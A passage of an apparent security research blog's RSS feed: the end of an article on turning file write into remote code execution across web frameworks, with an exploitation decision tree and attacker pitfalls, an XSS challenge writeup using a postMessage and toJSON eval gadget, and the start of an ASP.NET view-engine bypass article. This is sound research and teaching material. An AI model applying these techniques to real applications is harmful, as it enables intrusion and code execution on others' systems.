<span class="kd">const</span> <span class="nx">allowedViews</span> <span class="o">=</span> <span class="p">[</span><span class="dl">'</span><span class="s1">profile</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">settings</span><span class="dl">'</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">allowedViews</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">view</span><span class="p">))</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">safeData</span> <span class="o">=</span> <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">name</span> <span class="p">};</span> <span class="c1">// Only specific fields</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">view</span><span class="p">,</span> <span class="nx">safeData</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h4 id="phplaravel-4">PHP/Laravel</h4>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DANGEROUS</span>
<span class="k">return</span> <span class="nf">view</span><span class="p">(</span><span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">input</span><span class="p">(</span><span class="s1">'page'</span><span class="p">));</span>

<span class="c1">// SAFE</span>
<span class="nv">$allowedViews</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'home'</span><span class="p">,</span> <span class="s1">'profile'</span><span class="p">,</span> <span class="s1">'settings'</span><span class="p">];</span>
<span class="nv">$view</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">input</span><span class="p">(</span><span class="s1">'page'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$view</span><span class="p">,</span> <span class="nv">$allowedViews</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nf">view</span><span class="p">(</span><span class="nv">$view</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h4 id="pythondjango-4">Python/Django</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># DANGEROUS
</span><span class="k">return</span> <span class="n">render</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="n">request</span><span class="p">.</span><span class="n">GET</span><span class="p">[</span><span class="s">'template'</span><span class="p">])</span>

<span class="c1"># SAFE
</span><span class="kn">from</span> <span class="nn">django.template.loader</span> <span class="kn">import</span> <span class="n">select_template</span>
<span class="n">allowed</span> <span class="o">=</span> <span class="p">[</span><span class="s">'home.html'</span><span class="p">,</span> <span class="s">'profile.html'</span><span class="p">]</span>
<span class="n">template</span> <span class="o">=</span> <span class="n">select_template</span><span class="p">(</span><span class="n">allowed</span><span class="p">)</span>
<span class="k">return</span> <span class="n">HttpResponse</span><span class="p">(</span><span class="n">template</span><span class="p">.</span><span class="n">render</span><span class="p">({},</span> <span class="n">request</span><span class="p">))</span>
</code></pre></div></div>

<hr />

<h4 id="pythonflask-4">Python/Flask</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># DANGEROUS
</span><span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'page'</span><span class="p">))</span>

<span class="c1"># SAFE
</span><span class="n">allowed_templates</span> <span class="o">=</span> <span class="p">[</span><span class="s">'home.html'</span><span class="p">,</span> <span class="s">'profile.html'</span><span class="p">]</span>
<span class="n">template</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'page'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">template</span> <span class="ow">in</span> <span class="n">allowed_templates</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="n">template</span><span class="p">)</span>
</code></pre></div></div>

<hr />

<h4 id="go-1">Go</h4>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">// DANGEROUS</span>
<span class="n">tmpl</span> <span class="o">:=</span> <span class="n">template</span><span class="o">.</span><span class="n">Must</span><span class="p">(</span><span class="n">template</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="s">"page"</span><span class="p">)</span><span class="o">.</span><span class="n">Parse</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="s">"content"</span><span class="p">)))</span>
<span class="n">tmpl</span><span class="o">.</span><span class="n">Execute</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">Writer</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>

<span class="c">// SAFE</span>
<span class="n">tmpl</span> <span class="o">:=</span> <span class="n">template</span><span class="o">.</span><span class="n">Must</span><span class="p">(</span><span class="n">template</span><span class="o">.</span><span class="n">ParseFiles</span><span class="p">(</span><span class="s">"templates/safe.tmpl"</span><span class="p">))</span>
<span class="c">// Validate all data before passing to template</span>
<span class="n">data</span> <span class="o">:=</span> <span class="n">gin</span><span class="o">.</span><span class="n">H</span><span class="p">{</span><span class="s">"name"</span><span class="o">:</span> <span class="n">sanitize</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="s">"name"</span><span class="p">))}</span>
<span class="n">tmpl</span><span class="o">.</span><span class="n">Execute</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">Writer</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
</code></pre></div></div>

<hr />

<h2 id="step-10-quick-exploitation-decision-tree">Step 10: Quick Exploitation Decision Tree</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[File Write Capability]
    |
    ├─ ASP.NET MVC?
    │   └─ Write to ~/Views/{Controller}/{Action}.cshtml → Trigger route → RCE
    |
    ├─ Ruby on Rails?
    │   ├─ Wildcard route exists?
    │   │   └─ Write .erb anywhere → Path traversal via URL → RCE
    │   └─ No wildcard?
    │       └─ Write to exact path: app/views/{controller}/{action}.erb → RCE
    |
    ├─ Node.js/Express?
    │   ├─ Options injection possible?
    │   │   └─ No file write needed! → Inject outputFunctionName → RCE
    │   └─ File write only?
    │       └─ Write to views/{template}.ejs → Trigger render → RCE
    |
    ├─ PHP/Laravel?
    │   └─ Write to resources/views/{name}.blade.php → Trigger view() → RCE
    |
    ├─ Python/Django?
    │   ├─ SSTI exists?
    │   │   └─ No file write needed! → SSTI payload → Limited RCE
    │   └─ File write only?
    │       └─ Write to {app}/__init__.py → Restart/import → RCE
    |
    ├─ Python/Flask?
    │   ├─ SSTI exists?
    │   │   └─ No file write needed! → SSTI payload → Limited RCE
    │   ├─ Debug mode?
    │   │   └─ Write to __init__.py → Auto-reload → RCE
    │   └─ Production?
    │       └─ Write to __init__.py → Wait for restart → RCE
    |
    └─ Go/Gin/Echo?
        ├─ SSTI exists?
        │   └─ File read via gadgets (not RCE)
        └─ No SSTI?
            └─ Very limited attack surface
</code></pre></div></div>

<hr />

<h2 id="step-11-common-pitfalls-for-attackers">Step 11: Common Pitfalls for attackers</h2>

<h3 id="mistake-1-wrong-file-extension">Mistake 1: Wrong File Extension</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❌ Rails: Uploading evil.html (won't execute)
✅ Rails: Upload evil.html.erb (will execute)

❌ Laravel: Uploading backdoor.php (might work but no Blade directives)
✅ Laravel: Upload backdoor.blade.php (full Blade functionality)

❌ Express: Uploading shell.js (won't be rendered)
✅ Express: Upload shell.ejs or shell.hbs (depends on engine)
</code></pre></div></div>

<hr />

<h3 id="mistake-2-wrong-target-path">Mistake 2: Wrong Target Path</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❌ Rails: Writing to public/ (static files, no execution)
✅ Rails: Write to app/views/ (executed by ERB engine)

❌ Django: Writing to static/ (no execution)
✅ Django: Write to {app}/__init__.py (executes on import)

❌ ASP.NET: Writing to ~/Content/ (static files)
✅ ASP.NET: Write to ~/Views/ (executed by Razor)
</code></pre></div></div>

<hr />

<h3 id="mistake-3-not-understanding-auto-reload">Mistake 3: Not Understanding Auto-reload</h3>

<p><strong>Flask/Django Debug Mode:</strong></p>
<ul>
  <li>Files execute immediately on save (hot reload)</li>
  <li>Perfect for <code class="language-plaintext highlighter-rouge">__init__.py</code> overwrites</li>
</ul>

<p><strong>Production Mode:</strong></p>
<ul>
  <li>Changes require restart</li>
  <li>May need to wait for deployment or crash the app</li>
</ul>

<p><strong>Rails Development:</strong></p>
<ul>
  <li>Zeitwerk auto-reloads code changes</li>
  <li>Templates always reload</li>
</ul>

<p><strong>Rails Production:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">config.eager_load = true</code> → No auto-loading</li>
  <li>Need exact paths</li>
</ul>

<hr />

<h3 id="mistake-4-forgetting-framework-constraints">Mistake 4: Forgetting Framework Constraints</h3>

<p><strong>Go Templates:</strong></p>
<ul>
  <li>Sandboxed - can’t call arbitrary functions</li>
  <li>RCE is extremely difficult</li>
  <li>Focus on file reads via SSTI gadgets</li>
</ul>

<p><strong>Django Templates:</strong></p>
<ul>
  <li>Very limited by default</li>
  <li>Need specific gadgets for RCE</li>
  <li><code class="language-plaintext highlighter-rouge">__init__.py</code> overwrite is more reliable</li>
</ul>

<p><strong>Express:</strong></p>
<ul>
  <li>Options injection is easier than file write</li>
  <li>Try that first!</li>
</ul>

<hr />

<h2 id="summary-table">Summary Table</h2>

<table>
  <thead>
    <tr>
      <th>Rank</th>
      <th>Framework</th>
      <th>Reason</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><strong>Node.js/Express</strong></td>
      <td>No file write needed (options injection)</td>
    </tr>
    <tr>
      <td>2</td>
      <td><strong>PHP/Laravel</strong></td>
      <td>Simple include, minimal protections</td>
    </tr>
    <tr>
      <td>3</td>
      <td><strong>Ruby on Rails</strong></td>
      <td>Wildcard routes + ERB execution</td>
    </tr>
    <tr>
      <td>4</td>
      <td><strong>ASP.NET MVC</strong></td>
      <td>View Engine patterns predictable</td>
    </tr>
    <tr>
      <td>5</td>
      <td><strong>Python/Flask</strong></td>
      <td>SSTI or <code class="language-plaintext highlighter-rouge">__init__.py</code> (needs debug/restart)</td>
    </tr>
    <tr>
      <td>6</td>
      <td><strong>Python/Django</strong></td>
      <td>Requires <code class="language-plaintext highlighter-rouge">__init__.py</code> + restart/import</td>
    </tr>
    <tr>
      <td>7</td>
      <td><strong>Go</strong></td>
      <td>Template sandboxing, no easy RCE</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>The common theme across all frameworks:</p>

<p><strong>Framework-level file resolution mechanisms bypass web server protections.</strong></p>

<p>When developers rely on convention-over-configuration patterns:</p>
<ol>
  <li>Predictable file paths emerge</li>
  <li>Automatic file loading creates attack surfaces</li>
  <li>Path traversal + file write = RCE</li>
</ol>

<p><strong>Key Insight:</strong> Even without wildcard routing, if you can write to exact template/controller paths, you can achieve RCE in most frameworks.</p>

<p><strong>Defense:</strong> Validate all file paths, never use dynamic template names, disable debug modes in production, and use explicit whitelisting.</p>

<hr />

<h2 id="references">References</h2>

<ul>
  <li>CVE-2014-0130: Rails Wildcard Routing Path Traversal</li>
  <li>CVE-2022-29078: EJS Template Injection</li>
  <li>CVE-2022-25967: Eta Template Engine RCE</li>
  <li>ASP.NET MVC View Engine Research (by Diyan Apostolov) @ CTBB</li>
  <li>OWASP Testing Guide v4: Template Injection</li>
  <li>PortSwigger: Server-Side Template Injection</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Challenge One - Strange XSS Writeup</title>
      <link>https://lab.ctbb.show/writeups/challenge-one-strange-xss</link>
      <guid isPermaLink="true">https://lab.ctbb.show/writeups/challenge-one-strange-xss</guid>
      <pubDate>Mon, 24 Nov 2025 00:00:00 +0000</pubDate>
      <author>Nick Copi</author>
      <description>A writeup on the first strange XSS challenge in this miniseries.</description>
      <content:encoded><![CDATA[<p>This challenge has two pages, a fairly functionless outer page, and an inner page with a postMessage listener that performs some rich hydration of an object before using it to make a mocked post request to a nonexistent API endpoint with a body derived from the message. There is no origin check on the listener, the page is frameable, and there is not much else going on here, so it is clear that the way to achieving the XSS involves framing the inner.html page from an attacker page and sending it crafted messages.</p>

<h2 id="understanding-the-hydration-functionality">Understanding the hydration functionality</h2>
<p>The inner.html page has the following custom JavaScript to implement a postMessage event handler.
<img src="/writeups/articles/WriteupNo0002/image1.png" alt="inner logic" /></p>

<p>The message event is passed to a rehydration function that takes a <code class="language-plaintext highlighter-rouge">from</code> and <code class="language-plaintext highlighter-rouge">to</code> value from the message data and uses lodash’s get method to get a potentially nested property from the event and assign it as a potentially nested value to the <code class="language-plaintext highlighter-rouge">event.data.base</code> object with lodash’s set method. Notably, this is getting a potentially nested value from the event, not event.data. This oversight allows for very interesting behavior. By reading a property from <code class="language-plaintext highlighter-rouge">event.target</code>, we can read from the global window object of the inner.html page. This allows us to set a wide variety of values on the <code class="language-plaintext highlighter-rouge">event.data.base</code> object before it gets passed to JSON.stringify later in the code.</p>

<h2 id="achieving-xss">Achieving XSS</h2>
<p>There are two crucial pieces here that allow this strange code to lead to XSS. The first being the ability to copy a property from <code class="language-plaintext highlighter-rouge">window</code> to a nested value on the <code class="language-plaintext highlighter-rouge">event.data.base</code> object. The second being the call to JSON.stringify on the hydrated version of <code class="language-plaintext highlighter-rouge">event.data.base</code>.</p>

<p>Per the MDN docs, we can see that JSON.stringify will conditionally call nested or top level toJSON functions on objects being passed to JSON.stringify, potentially even with a controllable string as the first argument in nested cases.</p>

<p><img src="/writeups/articles/WriteupNo0002/image2.png" alt="mdn docs" /></p>

<p>This allows us to craft a payload that copies <code class="language-plaintext highlighter-rouge">event.target.eval</code> to <code class="language-plaintext highlighter-rouge">event.data.base</code> as a <code class="language-plaintext highlighter-rouge">somejstoexecute.toJSON</code> property. This will lead to the creation of an object like the following:</p>

<p><img src="/writeups/articles/WriteupNo0002/image3.png" alt="chal 1 hydrated" /></p>

<p>This object when passed to JSON.stringify will have its nested toJSON function called with the property name of the parent object, leading to <code class="language-plaintext highlighter-rouge">eval</code> being called with <code class="language-plaintext highlighter-rouge">alert(origin)</code>.</p>

<h2 id="full-payload">Full payload</h2>
<p>A full payload to accomplish this can be seen <a href="https://www.turb0.one/files/8f07105d-599f-4403-be61-3fb3d5994f41/xsschal1minimal/80dd6676-cdc4-40d9-b037-1226a1703b15-solution.html">here.</a></p>

<p><img src="/writeups/articles/WriteupNo0002/image4.png" alt="chal 1 poc" /></p>

<p>It abuses the postMessage listener to copy <code class="language-plaintext highlighter-rouge">eval</code> onto the object being stringified in such a way that it gets called as the toJSON function with an attacker controlled string passed as the first argument, leading to XSS.</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Challenge Two - Stranger XSS</title>
      <link>https://lab.ctbb.show/research/challenge-two-stranger-xss</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/challenge-two-stranger-xss</guid>
      <pubDate>Mon, 24 Nov 2025 00:00:00 +0000</pubDate>
      <author>Nick Copi</author>
      <description>The second challenge of an XSS miniseries leading up to a writeup on a bug in an open source library.</description>
      <content:encoded><![CDATA[<p>The following challenge page frames an inner.html page that is vulnerable to XSS. Frame the inner.html page from an attacker page and get JavaScript execution inside of it. Try not to share solutions too publicly. In one week, a writeup will be published as well as a writeup on a vulnerability in an open source library that uses the relevant ideas here to achieve XSS.</p>

<p><a href="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/outer.html">Challenge Two</a></p>

<p>Special thanks to <a href="https://x.com/xssdoctor">@xssdoctor</a> and <a href="https://x.com/J0R1AN">@J0R1AN</a> for beta testing and finding unintended solutions.</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Challenge One - Strange XSS</title>
      <link>https://lab.ctbb.show/research/challenge-one-strange-xss</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/challenge-one-strange-xss</guid>
      <pubDate>Tue, 18 Nov 2025 00:00:00 +0000</pubDate>
      <author>Nick Copi</author>
      <description>A cool challenge introducing an XSS miniseries leading up to a writeup on a bug in an open source library.</description>
      <content:encoded><![CDATA[<p>The following challenge page frames an inner.html page that is vulnerable to XSS. Frame the inner.html page from an attacker page and get JavaScript execution inside of it. Try not to share solutions too publicly. In one week, a writeup will be published and a second challenge will be released. A week after that a writeup for the second challenge will be released, as well as a writeup on a vulnerability in an open source library that uses the relevant ideas here to achieve XSS.</p>

<p><a href="https://www.turb0.one/files/8f07105d-599f-4403-be61-3fb3d5994f41/xsschal1minimal/outer.html">Challenge One</a></p>

<p>Special thanks to <a href="https://x.com/xssdoctor">@xssdoctor</a> and <a href="https://x.com/J0R1AN">@J0R1AN</a> for beta testing and finding unintended solutions.</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>ASP.NET MVC View Engine Search Patterns</title>
      <link>https://lab.ctbb.show/research/asp-net-mvc-view-engine-search-patterns</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/asp-net-mvc-view-engine-search-patterns</guid>
      <pubDate>Mon, 17 Nov 2025 00:00:00 +0000</pubDate>
      <author>Diyan Apostolov</author>
      <description>In this post, we’re exploring the ASP.NET MVC View Engine search pattern: the unsung hero that silently controls where your views live and how they show up.</description>
      <content:encoded><![CDATA[<p><small>RCE thoughts by Diyan Apostolov</small></p>

<p>Imagine this: you’ve gained path traversal with file-write access directly into the web root, but the server is locked down tight - .aspx, .cshtml, .vbhtml, and other executable view extensions are blocked from being served. Only non-executable file types like .js, .css, .less, and .map are allowed through. Recently, I dove headfirst into a challenging .NET application  and successfully pieced together my zero .NET knowledge into something that finally makes sense.</p>

<p>In this article, we’ll explore the ASP.NET MVC View Engine search pattern - a powerful yet often overlooked mechanism that drives how views, partial views, and layouts are located and rendered. While it may seem like a small detail, understanding this pattern gives greater flexibility and control over your application’s presentation layer. Let’s walk through the mechanics, confirm the behavior with system traces, and reveal how - even under strict extension restrictions - this pattern becomes the key to bypassing defenses and achieving code execution.</p>

<hr />
<h1 id="aspnet-mvc-flow">ASP.NET MVC flow</h1>

<p>When an HTTP request arrives at an ASP.NET MVC application, the framework goes through a multi-stage process to find and render the appropriate view. This involves <strong>routing → controller execution  → view resolution → rendering</strong>. Here are steps details</p>

<h3 id="stage-1-request-routing">Stage 1: Request Routing</h3>

<blockquote>
  <p>[!info] Step 1: HTTP Request</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- GET /Products/Details/5
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 2: URL Routing Engine</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- IIS receives the request and ASP.NET MVC's UrlRoutingModule intercepts it
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 3: Route Table Match</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Controller: "Products"
- Action: "Details"
- Id: 5
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 4: Controller Factory</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Creates ProductsController Instance
</code></pre></div>  </div>
</blockquote>

<p><strong>What happens:</strong></p>
<ol>
  <li>IIS receives the HTTP request</li>
  <li>ASP.NET MVC’s UrlRoutingModule intercepts it</li>
  <li>Routes are matched against patterns in RouteConfig.cs (typically {controller}/{action}/{id})</li>
  <li>Framework extracts controller name, action name, and parameters</li>
  <li>Controller class is instantiated via ControllerFactory</li>
</ol>

<h3 id="stage-2-controller-action-execution">Stage 2: Controller Action Execution</h3>

<pre><code class="language-.NET">public class ProductsController : Controller
  {
      public ActionResult Details(int id)
      {
          var product = GetProductById(id);
          // Option 1: Return view with default name
          return View();
          // Option 2: Return view with explicit name
          return View("ProductDetails");
          // Option 3: Return view with model
          return View(product);
          // Option 4: Return view with name and model
          return View("ProductDetails", product);
      }
  }
</code></pre>

<p><strong>What happens:</strong></p>
<ol>
  <li>The Details action method executes</li>
  <li>Business logic runs (database queries, calculations, etc.)</li>
  <li>Method returns an ActionResult (typically ViewResult)</li>
  <li>If return View() is called → <strong>View Resolution Process Begins</strong></li>
</ol>

<h3 id="stage-3-view-engine-resolution-process">Stage 3: View Engine Resolution Process</h3>

<p>At this stage, we encounter a noteworthy behavior that every bug bounty hunter, penetration tester, or attacker should recognize and understand.</p>
<h3 id="view-engine-registration">View Engine Registration</h3>
<p>ASP.NET MVC maintains a collection of <strong>View Engines</strong> in ViewEngines.Engines.</p>

<blockquote>
  <p>[!note] ViewEngines.Engines Collection</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0] RazorViewEngine      ← Searches for .cshtml, .vbhtml
[1] WebFormViewEngine    ← Searches for .aspx, .ascx
</code></pre></div>  </div>
</blockquote>

<blockquote>
  <p>[!note] Each view engine has:</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- **ViewLocationFormats** - where to search for views
- **PartialViewLocationFormats** - where to search for partial views
- **AreaViewLocationFormats** - where to search in Areas
- **FileExtensions** - which file types to look for
</code></pre></div>  </div>
</blockquote>

<h3 id="razorviewengine-search-paths">RazorViewEngine Search Paths</h3>
<p>Here are the <strong>actual default search paths</strong> for RazorViewEngine:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ViewLocationFormats = new[]
  {
      "~/Views/{1}/{0}.cshtml",
      "~/Views/{1}/{0}.vbhtml",
      "~/Views/Shared/{0}.cshtml",
      "~/Views/Shared/{0}.vbhtml"
  };  
PartialViewLocationFormats = new[]
  {
      "~/Views/{1}/_Header.cshtml",
      "~/Views/{1}/_Header.vbhtml",
      "~/Views/Shared/_Header.cshtml",
      "~/Views/Shared/_Header.vbhtml"
  };
AreaViewLocationFormats = new[]
  {
      "~/Areas/Blog/Views/Posts/Details.cshtml",
      "~/Areas/Blog/Views/Shared/Details.cshtml",
      "~/Views/Shared/Details.cshtml"
  };
</code></pre></div></div>

<p><strong>Placeholders:</strong></p>
<ul>
  <li>{0} = View name (e.g., “Details”)</li>
  <li>{1} = Controller name (e.g., “Products”)</li>
</ul>

<h3 id="view-resolution-flow-diagram">View Resolution Flow Diagram</h3>

<blockquote>
  <p>[!info] Step 1: Controller returns View()</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 2: ViewResult.ExecuteResult()</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Determines view name (action name if not specified)
- Gets controller context
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 3: ViewEngineCollection.FindView()</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Iterates through all registered engines
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 4: View Engines Search</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- RazorViewEngine: Search for view in order
- WebFormViewEngine: Search for view in order
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 5: Returns ViewEngineResult</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Success: Contains IView instance
- Failure: Contains searched locations
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!question] Step 6: View Found?</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!success] If YES: Render View</p>
</blockquote>

<blockquote>
  <p>[!failure] If NO: Throw Exception</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- "View not found" (lists all searched paths)
</code></pre></div>  </div>
</blockquote>

<h3 id="detailed-search-example">Detailed Search Example</h3>

<p>Scenario: Controller returns View() from ProductsController.Details()</p>

<p>Search Order (RazorViewEngine):</p>
<blockquote>
  <p>[!info] Iteration 1</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Check: ~/Views/Products/Details.cshtml
- File.Exists("C:\inetpub\wwwroot\MvcApp\Views\Products\Details.cshtml")
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!failure] Result: NAME NOT FOUND</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Iteration 2</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Check: ~/Views/Products/Details.vbhtml
- File.Exists("C:\inetpub\wwwroot\MvcApp\Views\Products\Details.vbhtml")
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!failure] Result: NAME NOT FOUND</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Iteration 3</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Check: ~/Views/Shared/Details.cshtml
- File.Exists("C:\inetpub\wwwroot\MvcApp\Views\Shared\Details.cshtml")
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!success] Result: SUCCESS - File found!</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 4: Load and compile view</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!success] Step 5: Return IView instance</p>
</blockquote>

<p>! Note: 
  When you call /Controller/Method, and trace it (via procmon for example) you see these file access attempts:</p>

<blockquote>
  <p>[!example] Process Monitor Output
Process: w3wp.exe
Operation: CreateFile</p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  PATH NOT FOUND: C:\inetpub\wwwroot\App\Views\Controller\Method.cshtml
  PATH NOT FOUND: C:\inetpub\wwwroot\App\Views\Controller\Method.vbhtml
  PATH NOT FOUND: C:\inetpub\wwwroot\App\Views\Shared\Method.cshtml
  PATH NOT FOUND: C:\inetpub\wwwroot\App\Views\Shared\Method.vbhtml
  PATH NOT FOUND: C:\inetpub\wwwroot\App\Controller\Method.cshtml
  PATH NOT FOUND: C:\inetpub\wwwroot\App\Controller\Method.vbhtml
  PATH NOT FOUND: C:\inetpub\wwwroot\App\Controller\Method\default.cshtml
  PATH NOT FOUND: C:\inetpub\wwwroot\App\Controller\Method\index.cshtml
</code></pre></div></div>
<h3 id="stage-4-view-compilation-and-rendering">Stage 4: View Compilation and Rendering</h3>

<blockquote>
  <p>[!info] Step 1: View file found</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- e.g., Details.cshtml
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!question] Step 2: Is view already compiled in cache?</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!success] If YES: Use cached assembly</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Skip compilation, use existing .dll
</code></pre></div>  </div>
</blockquote>

<blockquote>
  <p>[!info] If NO: Begin Compilation Process</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 3: Razor Parser</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Converts @{} syntax to C# code
- Generates .cs file
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 4: C# Compiler (csc.exe)</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Compiles to .dll
- Stores in Temporary ASP.NET Files folder
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 5: Execute compiled view</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Calls view.Render()
- Executes @{} code blocks
- Generates HTML output
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!success] Step 6: HTML Response</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Response sent to client
</code></pre></div>  </div>
</blockquote>

<h3 id="stage-5-custom-view-locations-extended-search">Stage 5: Custom View Locations (Extended Search)</h3>

<p>Some applications extend the default search paths:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>public class CustomRazorViewEngine : RazorViewEngine
{
  public CustomRazorViewEngine()
  {
	  ViewLocationFormats = new[]
	  {
		  // Standard paths
		  "~/Views/{1}/{0}.cshtml",
		  "~/Views/Shared/{0}.cshtml",
		  // Custom paths (DANGEROUS!)
		  "~/{1}/{0}.cshtml",                    // Root controller folder
		  "~/{1}/{0}/default.cshtml",         // Default view in action folder
		  "~/{1}/{0}/index.cshtml",             // Index view in action folder
		  "~/Templates/{1}/{0}.cshtml",          // Custom templates folder
		  "~/Content/Views/{1}/{0}.cshtml"       // Views in content folder
	  };
  }
}
</code></pre></div></div>

<hr />
<h1 id="flows-for-file-access-in-iisaspnet-mvc">Flows for file access in IIS/ASP.NET MVC</h1>

<p>Next piece of the puzzle is the web.config and the flows how IIS and ASP.NET MVC deal with file restrictions. Here is an example of web.config restricting file extensions</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;security&gt;
&lt;!-- Prevent "double escaping": if the URL after 2x escaping gives a different result,
	 that is suspicious. --&gt;
&lt;requestFiltering allowDoubleEscaping="false"&gt;
  &lt;requestLimits maxUrl="204800" maxQueryString="204800" /&gt;
